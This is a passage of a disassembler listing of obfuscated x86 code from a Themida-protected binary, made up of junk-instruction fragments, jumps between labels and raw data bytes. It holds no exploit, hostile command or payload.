; ---------------------------------------------------------------------------


loc_6293C5:				; CODE XREF: Themida_:0062BE64j
		xor	edi, 38F01031h
		and	ecx, edi
		pop	edi
		push	eax
		mov	eax, 6B13746Dh
		not	eax
		not	eax
		jmp	loc_62DBAF
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 444E4D68h, 0EB295D78h, 96C3815Dh, 11C170Eh, 0B850FBh
		dd 0F76FCC4Ah, 57405D0h, 10353F26h, 54BA54Fh, 971A1A33h
		dd 79E9C329h
		db 0BAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_62940F:				; CODE XREF: Themida_:00633622j
		mov	ebp, [esp]
		jmp	loc_62996B
; ---------------------------------------------------------------------------


loc_629417:				; CODE XREF: Themida_:006334B4j
		xchg	ebp, [esp]
		pop	esp
		xor	edx, 5EC53250h
		push	eax
		push	ecx
		mov	ecx, 52DF46FDh
		shl	ecx, 1
		jmp	$+5
		push	edx
		mov	edx, 1CAF6493h
		jmp	loc_633978
; ---------------------------------------------------------------------------
		dw 5759h
		dd 0BFh, 3F48E900h, 8F5E0000h, 665C2404h, 5D686655h, 665D66A2h
		dd 0E93FDF05h, 0B167h, 8C3EF20Dh, 3564E918h, 0DE880000h
		dd 66F1285Bh, 6EC9805Ah, 0FEE8E980h, 31F8E9C9h,	0E3890000h
		dd 4C381h, 0EB830000h, 241C8704h, 0AB80E95Ch, 34FF0000h
		dd 2434FF24h, 5A93E9h
		db 0
; ---------------------------------------------------------------------------


loc_629499:				; CODE XREF: Themida_:00628BEFj
		add	esp, 4
		and	ecx, edx
		jmp	loc_631FD6
; ---------------------------------------------------------------------------
		dw 2CB6h
		dd 0CE80EED0h, 8C1DE9E5h, 0C7810000h, 372E0946h, 1268E95Dh
		dd 814F0000h, 453358CFh, 5117E974h, 0FD310000h,	33242C31h
		dd 2C31242Ch, 0F5E3E924h, 3868FFFFh, 89000018h,	58542404h
		dd 47B9B951h, 0F74942B8h, 814149D1h, 47B843F1h,	44EC05BDh
		dd 0C801050Fh, 0F44EC2Dh, 4055905h, 50000000h, 42474FFh
		dd 24048F58h, 0E924248Bh, 6948h, 0E959C889h, 0FFFFFB28h
		dd 4BEh, 0E9F70100h, 1FD1h
; ---------------------------------------------------------------------------


loc_62952C:				; CODE XREF: Themida_:0062959Aj
		pop	edi
		mov	[ecx], dl
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_628ABD
; ---------------------------------------------------------------------------
		db 68h
		dd 213Fh, 0BA241489h, 4, 832DE9h
		db 0
; ---------------------------------------------------------------------------


loc_62954D:				; CODE XREF: Themida_:0062D194j
		mov	ebx, [esp]
		jmp	loc_62F0B1
; ---------------------------------------------------------------------------


loc_629555:				; CODE XREF: Themida_:0062E4B9j
		mov	edi, ebx
		pop	ebx
		push	edi
		jmp	loc_63167E
; ---------------------------------------------------------------------------
		dw 9068h
		dd 89000013h, 0E389241Ch, 0A685550h, 8B22330Fh,	0C483242Ch
		dd 0E4ED8104h, 0E908F93Bh, 0DECh, 7DC868h, 3DB36800h, 24890000h
		dd 2ED7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_629592:				; CODE XREF: Themida_:006292A2j
		sub	ecx, edi
		sub	ecx, 572710B1h
		jmp	loc_62952C
; ---------------------------------------------------------------------------


loc_62959F:				; CODE XREF: Themida_:0062EFEAj
		push	edx
		xchg	ebx, [esp]
		dec	ebx
		jmp	loc_63307E
; ---------------------------------------------------------------------------
		db 5Ch,	0F6h, 0F1h
		dd 0CCB60F66h, 8904EC83h, 5A542414h, 4EC81h, 2C890000h
		dd 22C4BD24h, 0E5C15276h, 2D6D6807h, 2C890000h,	2414F724h
		dd 81242C8Bh, 4C4h, 3EDC100h, 35BE9h, 8054B700h, 0EFC048CFh
		dd 58E78008h, 8FB05066h, 2825EF80h, 8C9AE9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6295FE:				; CODE XREF: Themida_:00631246j
		mov	ecx, 41907D25h
		sub	ebx, ecx
		pop	ecx
		sub	ebx, 796B34F9h
		sub	ebx, 287B4D11h
		add	ebx, edx
		add	ebx, 287B4D11h
		add	ebx, 796B34F9h
		add	ebx, 41907D25h
		pop	edx
		add	ebx, 4
		jmp	loc_62BE30
; ---------------------------------------------------------------------------
		dw 0E989h
		dd 0D9C6815Dh, 290A4C32h, 0D9EE81CEh, 0E90A4C32h, 41F9h
		dd 742AF7BBh, 895FE935h, 31660000h, 33662404h, 31662404h
		dd 50662404h, 24D46866h, 242C8966h, 0B2ECE9h, 0D7015B00h
		dd 0A9E9565Ah, 56FFFFFEh, 0BD55E689h, 0D9B20D7h, 10DDC581h
		dd 0C5812FACh, 14C91AC3h, 52F0E581h, 0C5810EE1h, 2C1C1EA0h
		dd 0A0F4C581h, 0EE01D1E3h, 4C6835Dh, 5D06E9h, 59CB0100h
		dd 16BE9h, 8BD90100h, 18E9241Ch, 0FF000023h, 31E92434h
		dd 66000033h, 0E9241489h, 780Fh
; ---------------------------------------------------------------------------


loc_6296CC:				; CODE XREF: Themida_:0062B87Bj
		mov	eax, 6A140991h
		mov	ebp, 523E36C9h
		jmp	loc_62F48D
; ---------------------------------------------------------------------------


loc_6296DB:				; CODE XREF: Themida_:0062997Cj
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_63371A
; ---------------------------------------------------------------------------
aBZRarsS	db 'Z',0Ah
		db 'aR-S',0
		align 4
		dd 4BF5759h, 81000000h,	0A12CABE9h, 81F9017Fh, 0A12CABC1h
		dd 2434FF7Fh, 6D9AE9h
		db 0
; ---------------------------------------------------------------------------


loc_629719:				; CODE XREF: Themida_:00634DBFj
		add	esp, 4
		mov	cl, bh
		pop	ebx
		mov	[edi+eax*4+1], cl
		pop	ecx
		jmp	loc_628ABD
; ---------------------------------------------------------------------------
		dd 148B6659h, 621AE924h, 48B0000h, 4C48324h, 8B241C87h
		dd 0F662424h, 9C2404A3h, 8AE7E9h, 40500h, 4050000h, 87000000h
		dd 248B2404h, 0F35BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_629762:				; CODE XREF: Themida_:0062F15Ej
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_6331E8
; ---------------------------------------------------------------------------
		db 0BBh
		dd 0F08755Dh, 46E168h, 46A2E900h, 0D5010000h, 75D8E9h
		dd 2434FF00h, 57FAE9h
		db 0
; ---------------------------------------------------------------------------


loc_629789:				; CODE XREF: Themida_:0063173Dj
		push	ecx
		jmp	loc_6323A5
; ---------------------------------------------------------------------------
aYsmk		db 'Yk',0
		dd 0DAE58100h, 0E96A4B1Ch, 2D7Ah
; ---------------------------------------------------------------------------


loc_6297A0:				; CODE XREF: Themida_:0062B4F8j
		sub	bl, 0F9h
		add	bl, cl
		jmp	loc_62EACC
; ---------------------------------------------------------------------------
aMfhzS		db 'fhz',8,'',0
		align 4
		dd 24148966h, 0B2C0B450h, 8B0AE93Ch, 0FF5C0000h, 56592434h
		dd 1320E954h, 685D0000h, 95Ah, 0E9241C89h, 8715h, 42Dh
		dd 8F6DE900h, 148B0000h, 4C48324h, 0E904C483h, 0B541h
; ---------------------------------------------------------------------------


loc_6297F4:				; CODE XREF: Themida_:00633E1Fj
		add	eax, edx
		add	eax, 761951F7h
		pop	edx
		sub	eax, ebx
		sub	eax, 0A3504h
		push	esi
		jmp	loc_62E4CA
; ---------------------------------------------------------------------------
		db 0C0h, 0E7h, 4
		dd 0C780CFFEh, 5BFA2869h, 0E902E2C0h, 4D01h, 2EB81h, 0EC830000h
		dd 241C8904h, 42474FFh,	1A56E9h, 40E95800h, 0B2FFFFFEh
		dd 0E82C41h, 0E9E804D0h, 13DEh,	5304C483h, 0FFFF1EE9h
		dd 81D101FFh, 0BD0FCCE9h, 24148B0Ah, 81E78957h,	4C7h, 4C78300h
		dd 8B243C87h, 0E8E92424h, 0E9000089h, 0FFFFF249h
; ---------------------------------------------------------------------------


loc_629874:				; CODE XREF: Themida_:00630A99j
		mov	ebx, edi
		jmp	loc_632A39
; ---------------------------------------------------------------------------
		db 53h
		dd 4BBh, 0E9DE0100h, 534Fh, 0FA58E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62988E:				; CODE XREF: Themida_:0063022Ej
		add	ecx, ebp
		pop	ebp
		push	ecx
		jmp	loc_62B5F8
; ---------------------------------------------------------------------------


loc_629897:				; CODE XREF: Themida_:0062DEE0j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	eax
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	4AAh
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_62B2AD
; ---------------------------------------------------------------------------
aXslj		db 'XL',0
		align 2
		dw 8B66h
		dd 9668240Ch, 8900006Ch, 79E9242Ch, 5400002Bh, 0DB8505Dh
		dd 25063F7Fh, 670A4FDBh, 0A4F052Dh, 58C50106h, 9FD0E950h
		dd 248B0000h, 2404D324h, 0F1BBE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_629902:				; CODE XREF: Themida_:0062F5B3j
		mov	ebp, 4530381Eh
		and	eax, ebp
		pop	ebp
		jmp	loc_62A06E
; ---------------------------------------------------------------------------
		db 59h
		dd 53685645h, 5E6E6624h, 3A2BF57h, 0FE212BEBh, 0F73E9h
		db 0
; ---------------------------------------------------------------------------


loc_629925:				; CODE XREF: Themida_:0063184Bj
		xchg	ebx, [esp]
		pop	eax
		jmp	loc_62E1BD
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 7BD4479Ah, 4246C31h,	0E9242C8Bh, 7887h, 0D3BBB951h
		dd 0CD29189Dh, 5982E9h,	0EC83AC00h, 1B3FE904h, 34FF0000h
		dd 0E9525824h, 3283h, 32FDF281h, 69E95750h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62996B:				; CODE XREF: Themida_:00629412j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		jmp	loc_6296DB
; ---------------------------------------------------------------------------


loc_629981:				; CODE XREF: Themida_:0062E21Aj
		sub	eax, 6BDC0BF9h
		sub	eax, 19D6203Ah
		jmp	loc_634717
; ---------------------------------------------------------------------------


loc_629990:				; CODE XREF: Themida_:0062D3BEj
		not	ecx
		and	ecx, 0DF81B90h
		sub	ecx, 44B912FFh
		neg	ecx
		sub	ecx, 0A868EC8h
		mov	ebx, ecx
		pop	ecx
		not	ebx
		add	ebx, 0FFFFFFFFh
		xchg	ebp, ebx
		dec	ebp
		jmp	loc_62B31C
; ---------------------------------------------------------------------------


loc_6299B9:				; CODE XREF: Themida_:0063439Bj
		sub	[esp+4], esi
		push	edi
		mov	edi, 4CE61013h
		sub	[esp+8], edi
		pop	edi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_630582
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 1D27h, 8102E2C1h, 0E7F460C2h, 5AD301FBh
		dd 0B5F9E9h, 0E6C14600h, 0D3CE906h, 0D35C0000h,	0E99C2424h
		dd 0FFFFF723h, 0B5E9D001h, 5C000072h, 0E9E08950h, 0FFFFFD3Dh
		dd 148BAC04h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_6314D4
; ---------------------------------------------------------------------------


loc_629A2D:				; CODE XREF: Themida_:0062E5A1j
		mov	[esp], ebp
		mov	ebp, 50AD051Ch
		jmp	loc_631B04
; ---------------------------------------------------------------------------


loc_629A3A:				; CODE XREF: Themida_:00628D68j
		add	esp, 4
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_633236
; ---------------------------------------------------------------------------
aJjsP		db 'JJ隯',0
		dw 5700h
		dd 181BE9h, 0E9CB0100h,	9A81h, 0E9ABE280h, 0C39h, 0FE01EE80h
		dd 2E6C0CEh, 8063C680h,	0A80404C6h, 0A82CF028h,	62BDE95Ah
		dd 56500000h, 0D26EF3BEh, 0E9F0894Fh, 6AAAh, 8604C483h
		dd 0E95166D5h, 627Ch, 28FFB450h, 1F38E9E7h, 0AE90000h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_629AB3:				; CODE XREF: Themida_:00633853j
		add	bl, 36h
		push	7D51h
		mov	[esp], edx
		push	ecx
		push	13B35255h
		pop	ecx
		xchg	ebp, ecx
		not	ebp
		xchg	ebp, ecx
		jmp	loc_62FA00
; ---------------------------------------------------------------------------


loc_629AD0:				; CODE XREF: Themida_:006301B4j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_630301
; ---------------------------------------------------------------------------


loc_629AE0:				; CODE XREF: Themida_:0062CA95j
		and	eax, ebp
		jmp	loc_633D95
; ---------------------------------------------------------------------------
		db 54h
		dd 0E6895658h, 4C681h, 0EE810000h, 4, 5C243487h, 0BF243C89h
		dd 4CB02218h, 0F781DFF7h, 0B34FDDECh, 835FF801h, 0ABE904ECh
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_629B17:				; CODE XREF: Themida_:0062D34Dj
		push	ecx
		mov	ecx, 2E181F72h
		shr	ecx, 4
		and	ecx, 12104A8Fh
		jmp	loc_63420D
; ---------------------------------------------------------------------------


loc_629B2B:				; CODE XREF: Themida_:0062A721j
		dec	eax
		jmp	loc_6301D8
; ---------------------------------------------------------------------------
		db 0ACh, 30h, 0D8h
		dd 8904EC83h, 0A6E9241Ch, 57FFFFFAh, 75A2E9h, 0FBE95D00h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_629B4B:				; CODE XREF: Themida_:00631C70j
		xor	ebp, 0F78BE811h
		sub	eax, ebp
		jmp	loc_6338F7
; ---------------------------------------------------------------------------


loc_629B58:				; CODE XREF: Themida_:0062B550j
		pop	eax
		pop	ebx
		mov	dx, [esp]
		jmp	loc_635028
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E9582434h, 1A44h, 683B480Dh, 0E9D0F737h, 91F2h, 4EC81h
		dd 4890000h, 361EB824h,	902500EDh, 0E917361Dh, 0FFFFFFDCh
		dd 0EA80E200h, 2DE95825h, 81FFFFF2h, 0E65AEDC2h, 4703E96Ch
		dd 0C8B0000h, 4C48124h,	0E9000000h, 0A8AAh, 95E98158h
		dd 13A397Bh, 95C181D1h,	33A397Bh, 0FF5A5901h, 525B2434h
		dd 0C281E289h, 4, 4C281h, 14870000h, 0ADB4E924h, 0E6890000h
		dd 4E67E9h
		db 0
; ---------------------------------------------------------------------------


loc_629BE9:				; CODE XREF: Themida_:0062C814j
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_6332CC
; ---------------------------------------------------------------------------


loc_629BF4:				; CODE XREF: Themida_:00634FB9j
		push	ebx
		jmp	loc_6334B9
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4BD55h, 0EB010000h
		db 8Bh,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_631C36
; ---------------------------------------------------------------------------
aAR4		db '4',0
aXsC		db 'XC',0
		db 0
; ---------------------------------------------------------------------------


loc_629C31:				; CODE XREF: Themida_:0062EEB4j
		push	ebp
		jmp	loc_6334A9
; ---------------------------------------------------------------------------


loc_629C37:				; CODE XREF: Themida_:0062BFA8j
		add	esp, 4
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3FCh
		jmp	loc_62AED9
; ---------------------------------------------------------------------------
		dd 0A638FD05h, 0E9C68978h, 0FFFFF566h, 0E956E389h, 1527h
; ---------------------------------------------------------------------------


loc_629C64:				; CODE XREF: Themida_:0062B7EEj
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	edx, 4
		jmp	loc_629E95
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 76126824h, 66E90000h
		db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_629C9B:				; CODE XREF: Themida_:0063421Fj
		dec	ecx
		and	ecx, 60987F01h
		push	ebx
		mov	ebx, 627E4387h
		jmp	loc_631D86
; ---------------------------------------------------------------------------
		db 0BFh, 0D6h, 13h
		dd 0BA526630h, 22B6AB2h, 148BD721h, 4C48124h, 81000000h
		dd 5452ABEFh, 0E7D14738h, 2D06EF81h, 0C78140B4h, 0AD22067Dh
		dd 3F0168h, 243C8900h, 0E92434FFh, 0FFFFFB49h
; ---------------------------------------------------------------------------


loc_629CE8:				; CODE XREF: Themida_:00634773j
		add	eax, 3AA3721Bh
		and	eax, 73385F40h
		push	ebp
		mov	ebp, 81F255Ah
		add	ebp, 72A63619h
		or	ebp, 2A6F24C5h
		sub	ebp, 0B691CE7Dh
		add	eax, ebp
		pop	ebp
		xor	ebx, eax
		pop	eax
		sub	ebp, 74C3070Bh
		add	ebp, ebx
		add	ebp, 74C3070Bh
		jmp	loc_634092
; ---------------------------------------------------------------------------
		db 29h
		dd 0DE095FFBh, 0B6E9525Bh, 81000045h, 4ECh, 24148900h
		dd 589A6853h, 815B131Fh, 44DB77EBh, 5BDA89EAh, 0FA1CA81h
		dd 0C281090Bh, 21CF510Bh, 6A5DBD55h, 0EA316354h, 45EA875Dh
		dd 0F281EA87h, 28FEBAF0h, 2FE9D001h
		db 77h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_629D6F:				; CODE XREF: Themida_:006327ABj
		push	small 2C95h
		mov	[esp], ax
		mov	al, 0D7h
		jmp	loc_634B5B
; ---------------------------------------------------------------------------
		dw 0FA88h
aISD		db ']',0
		dw 6600h
		dd 6824048Bh, 6C46h, 81243489h,	4ECh, 73C3E900h, 0BA520000h
		dd 4, 875AD501h, 248B242Ch, 32906824h, 3C890000h, 0E685224h
		dd 0E900005Ch, 2B61h, 412C2604h, 5266D800h, 0FFFA6AE9h
		dd 57C381FFh, 0E9661543h, 47CEh, 24048B66h, 52E78957h
		dd 604A68h, 242C8900h, 4BDh, 2C815500h,	0EC1CF824h, 0C2815A47h
		dd 47EC1CF8h, 8BD7015Dh, 0C9E92414h, 5CFFFFF3h,	9889E9h
		dd 0D7F74700h, 6B63B850h, 0E0C162CBh, 56BAE906h, 34FF0000h
		dd 89505924h, 405E0h, 4050000h,	33000000h, 4312404h, 24043324h
		dd 5C63685Ch, 3C890000h, 24E5BF24h, 0F7812009h,	10EF78F7h
		dd 68h,	243C2900h, 3717685Fh, 34890000h, 2E0CBE24h, 814E4E01h
		dd 0FFFFFFEEh, 21E946FFh
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_629E6F:				; CODE XREF: Themida_:0062E564j
					; Themida_:0062F5A9j ...
		mov	ebx, [esp]
		jmp	loc_62BB1D
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 208Ch, 0BF243C89h, 1D5D20D1h, 0FFECA8E9h
		dd 59CF29FFh, 9FBAE9h
		db 0
; ---------------------------------------------------------------------------


loc_629E95:				; CODE XREF: Themida_:00629C88j
		add	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		imul	cl
		movzx	cx, ah
		jmp	loc_62D47C
; ---------------------------------------------------------------------------
		db 52h,	53h, 0BBh
		dd 547B523Eh, 0E381DBF7h, 6A124462h, 610FB850h,	0F9056180h
		dd 21F61A00h, 814B58C3h, 0E0387FC3h, 8B5A5315h,	0C481241Ch
		dd 4, 0E907E2C1h, 2FAAh, 0A9E9F201h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_629EE7:				; CODE XREF: Themida_:0062BFCEj
		pop	eax
		add	eax, 5D7461Bh
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_62BE72
; ---------------------------------------------------------------------------
		dd 0E9241433h, 64DBh, 81241489h, 4ECh, 24248900h, 4240481h
		dd 5A000000h, 1D4968h, 241C8900h, 4BBh,	9826E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_629F32:				; CODE XREF: Themida_:0062F57Aj
		push	ebx
		jmp	loc_63434D
; ---------------------------------------------------------------------------


loc_629F38:				; CODE XREF: Themida_:0062C7F2j
		push	ebx
		push	esp
		jmp	loc_62F0A9
; ---------------------------------------------------------------------------
aPsS		db 'PS',0
		dd 4C48300h, 98468h, 240C8900h,	5B6ABA52h, 0BA521A33h
		dd 71116441h, 7320E9h, 0F5815A00h, 29848948h, 384DC681h
		dd 4DE938F8h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_629F73:				; CODE XREF: Themida_:0062E570j
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 1
		push	ebp
		mov	ebp, 2805CEBh
		jmp	loc_628B2E
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 7ACE244Eh, 5F3EC581h, 0F7456EA0h, 0BC581DDh,	81724975h
		dd 0FB558DC5h, 5DE831DBh, 86F8E9h
		db 0
; ---------------------------------------------------------------------------


loc_629FAD:				; CODE XREF: Themida_:0062E679j
		pop	dword ptr [esp]
		jmp	loc_62A09A
; ---------------------------------------------------------------------------


loc_629FB5:				; CODE XREF: Themida_:0062F539j
		sub	esp, 4
		jmp	loc_632195
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 243C8700h, 242CD35Ch, 0EAE7E99Ch, 0CF89FFFFh
		dd 83240C8Bh, 0B95104C4h, 775C27A4h, 0FFF182E9h, 0E99C50FFh
		dd 0FFFFEACDh, 0B26F181h, 0CE295B26h, 9AECE9h, 1C895C00h
		dd 81E38924h, 4C3h, 56CB6800h, 0AEE90000h, 8B000084h, 0C483243Ch
		dd 7677E904h, 34890000h, 0E9E68924h, 6468h
; ---------------------------------------------------------------------------


loc_62A028:				; CODE XREF: Themida_:006318C5j
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 5CDB3BCAh
		jmp	loc_62EDB3
; ---------------------------------------------------------------------------
		dw 2BBh
		dd 81000000h, 0E07642EEh, 70C6810Dh, 122F812h, 70EE81DEh
		dd 8122F812h, 0E07642C6h, 241C8B0Dh, 4C481h, 34870000h
		dd 4C37E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_62A06E:				; CODE XREF: Themida_:0062990Aj
		sub	esp, 4
		jmp	loc_63200D
; ---------------------------------------------------------------------------
		db 43h,	81h, 0EBh
		dd 0BA39B302h, 875BDA01h
		db 14h,	24h, 5Ch
; ---------------------------------------------------------------------------


loc_62A087:				; CODE XREF: Themida_:00634283j
		push	1280h
		mov	[esp], edx
		jmp	loc_62F82B
; ---------------------------------------------------------------------------


loc_62A094:				; CODE XREF: Themida_:0062F6F1j
		push	ebx
		jmp	loc_631A59
; ---------------------------------------------------------------------------


loc_62A09A:				; CODE XREF: Themida_:00629FB0j
		pop	esp
		btr	[esp], ax
		pushf
		jmp	loc_628ABD
; ---------------------------------------------------------------------------
aS_12		db '])}',0Bh,0
		align 2
		dw 0CA81h
		dd 3907339Eh, 0C281D2F7h, 9AA75EE2h, 0E95AD301h, 0F9Ch
		dd 2C8BE929h, 4C48124h,	87000000h, 90E9240Ch
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62A0D7:				; CODE XREF: Themida_:0062F772j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		jmp	loc_632A2C
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0FEE7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62A102:				; CODE XREF: Themida_:00633D9Bj
		shr	eax, 10h
		xor	eax, ecx
		push	6BBh
		mov	[esp], eax
		jmp	loc_6340A9
; ---------------------------------------------------------------------------


loc_62A114:				; CODE XREF: Themida_:0062A54Cj
		add	ebp, 492B47E9h
		sub	ebp, edi
		sub	ebp, 492B47E9h
		pop	edi
		and	eax, ebp
		pop	ebp
		shr	eax, 0Ah
		jmp	loc_632EE5
; ---------------------------------------------------------------------------


loc_62A12E:				; CODE XREF: Themida_:00634743j
		add	ebp, 0DBBAC1F3h
		mov	eax, ebp
		pop	ebp
		add	esi, eax
		pop	eax
		jmp	loc_62DBD5
; ---------------------------------------------------------------------------
		db 8Bh
dword_62A140	dd 0E9562404h, 0FFFFFA9Ah, 240C8966h, 27D268h, 24148900h
		dd 8883B151h, 240C8BCEh, 4E8EE9h, 70C68100h, 8115C87Dh
		dd 0FD7B6AC6h, 68C60112h, 2355h, 0E9240489h, 4FACh
; ---------------------------------------------------------------------------


loc_62A17C:				; CODE XREF: Themida_:006302FCj
		push	edx
		mov	edx, 12AE4FE0h
		jmp	loc_632DC0
; ---------------------------------------------------------------------------
		db 31h
		dd 0C1815BDAh, 31943D95h, 533E9h, 5EF30100h, 0F1E9C329h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62A19F:				; CODE XREF: Themida_:00632459j
		push	ebx
		mov	ebx, 183B5633h
		jmp	loc_62E0B9
; ---------------------------------------------------------------------------
		dw 50B8h
		dd 0F70C4052h, 0E8C140D8h, 52D0F702h, 1BAh, 8BD00100h
		dd 0C4832414h, 0CDE83504h, 0C329C32Ah, 5C7DE9h,	2434FF00h
		dd 56240C8Bh, 0C681E689h, 4, 8704C683h,	10E92434h, 0B100009Eh
		dd 35B641h, 87B359CEh, 6602EC83h, 0E9241489h, 9DAEh, 243C335Ah
		dd 33243C31h, 248B243Ch, 24042824h, 0E8A7E99Ch,	0EB81FFFFh
		dd 0BFCFFAFCh, 1000712Dh, 7E35E965h, 0EB810000h, 67B61B25h
		dd 173DC281h, 0BD556135h, 4759AEh, 15DEA29h, 0AFA9E9C2h
		dd 0E9510000h, 7FA8h, 592434FFh, 8104C483h, 4C1h, 0E9525500h
		dd 0FFFFEA80h, 9C2424D3h, 7D47E9h, 53D83000h, 0BA52E389h
		dd 696071F8h, 3457E281h, 0D2F73018h, 1120E9h
		db 0
; ---------------------------------------------------------------------------


loc_62A27D:				; CODE XREF: Themida_:00633D44j
		add	[esp+4], eax
		pop	eax
		pop	eax
		sub	esp, 4
		jmp	loc_62D7B4
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0B9515704h, 117B2BEFh, 1AA9E981h, 37E91B84h,	5B000097h
		dd 63C2BA52h, 0EAC11585h, 68BDE906h, 34FF0000h,	24048B24h
		dd 7DEFE9h, 0C7C38000h,	8FC0B60Fh, 0F2E98704h, 0FFFFE7h
		dd 0F68059CEh, 5AF0007Ch, 0FE20B551h, 66D5F6C5h, 0CCB35352h
		dd 0E9E95BB6h, 55FFFFE9h, 4BDh,	0F0BB5300h, 0E9019810h
		dd 56BCh, 240C8B66h, 81E08950h,	4ECh, 240C8900h, 681FE953h
		dd 21350000h, 297A156Ch, 1C8758C3h, 24248B24h, 240C8966h
		dd 0FFE798E9h, 685651FFh, 16337A6Eh, 7877E95Eh,	0E5890000h
		dd 5B9468h, 24348900h, 4BEh, 8BF50100h,	43E92434h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_62A34B:				; CODE XREF: Themida_:00632830j
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_628ABD
; ---------------------------------------------------------------------------
		dw 1C89h
aPh_0		db '$Ph$:',0
		dw 0E900h
		dd 76B3h, 1FDCF581h, 0C581220Dh, 1BA04C14h, 39B0F581h
		dd 0E8897C76h, 6E8C15Dh, 78E7BF57h, 0CF810538h,	3D702A59h
		dd 11DEEF81h, 0F809EABBh, 51202D5Fh, 7AE97F80h,	8B000088h
		dd 0C4812414h, 4, 8B24048Fh, 0B7532424h, 342BE9D7h, 0E6D10000h
		dd 8106E6C1h, 0F3C86EEh, 0F6EE8100h, 0E99BB068h, 7D2Dh
		dd 5624148Bh, 0C681E689h, 4, 94C4E9h
		db 0
; ---------------------------------------------------------------------------


loc_62A3E1:				; CODE XREF: Themida_:00635086j
		sub	esp, 4
		jmp	loc_62BFE9
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 77E0h, 0E9D101h,	810000A8h, 4C4h, 2BB5300h
		dd 1000000h, 0E9525BDAh, 424Fh,	705DEF81h, 348B48EFh, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 13F7B951h,	81411934h
		dd 3C05D7F1h, 0E9D9F72Fh, 539Bh, 0D6F7F787h, 86D1E9h, 8BD83100h
		dd 0C481241Ch, 4, 4EC81h, 14890000h, 0B9BE5624h, 0BA150542h
		dd 25F37C74h, 20D6E9h, 243C8900h, 12868h, 24348900h, 817EE9h
		dd 0E9FA3100h, 49F8h
; ---------------------------------------------------------------------------


loc_62A484:				; CODE XREF: Themida_:0063351Dj
		add	ebp, 4
		jmp	loc_62DD3B
; ---------------------------------------------------------------------------
		dd 4C7815Dh, 33000000h,	3C31243Ch, 243C3324h, 0FF24248Bh
		dd 0C8B2434h, 4C48124h,	68000000h, 24FCh, 89240489h, 3BE957E0h
		dd 50000055h, 5A0540B8h, 86EFE97Dh, 53460000h, 84FEBBBh
